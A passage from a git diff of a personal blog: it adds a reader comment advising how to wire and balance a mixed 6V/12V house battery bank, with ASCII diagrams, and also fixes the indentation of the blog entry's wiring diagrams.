+    +( 6v )-+( 6v )-
+    |              |
+    +( 6v )-+( 6v )-
+    |              |
+    +( 6v )-+( 6v )-
+    |              |
+    +(   new 12v  )-
+    |              |
+    +(   new 12v  )-
+                   -
+           house----
+
+That way the batteries \"further away\" will also get a decent charge. A good exercise is to calculate the wire length from plus to minus for all batteries. The topology above is not ideal, but usually quite enough. You should take care mixing old and new batteries, if you have a current clamp you can try monitoring the charging and see that all batteries are being utilized and no battery is being over charged.
+
+Check with a voltmeter that the 6V packs are balanced by measuring the midpoints. A temporary solution that can help if they are not is connecting all the midpoints with a thin (like 2 mm^2 or so) cable and letting them settle. If this doesn't help you may need to swap the pairs around to get them better matched
+
+Just a few suggestions to get started, hope it helps!
+"""]]

comment
diff --git a/blog/entry/battery_bank_refresh.mdwn b/blog/entry/battery_bank_refresh.mdwn
index 2d6af76..0ae1c3b 100644
--- a/blog/entry/battery_bank_refresh.mdwn
+++ b/blog/entry/battery_bank_refresh.mdwn
@@ -11,7 +11,7 @@ have a couple of good batteries amoung a dozen failing ones.
 The bank was set up like this:
 
 	+---- house ----
-        |              |
+	|              |
 	+( 6v )-+( 6v )-
 	|              |
 	+( 6v )-+( 6v )-
@@ -35,7 +35,7 @@ On a hunch, I then reconnected one bridge, like this -- and power was
 restored.
 
 	+---- house ----
-        |              |
+	|              |
 	+( 6v )-+( 6v )-
 	|              |
 	+( 6v )  ( 6v )-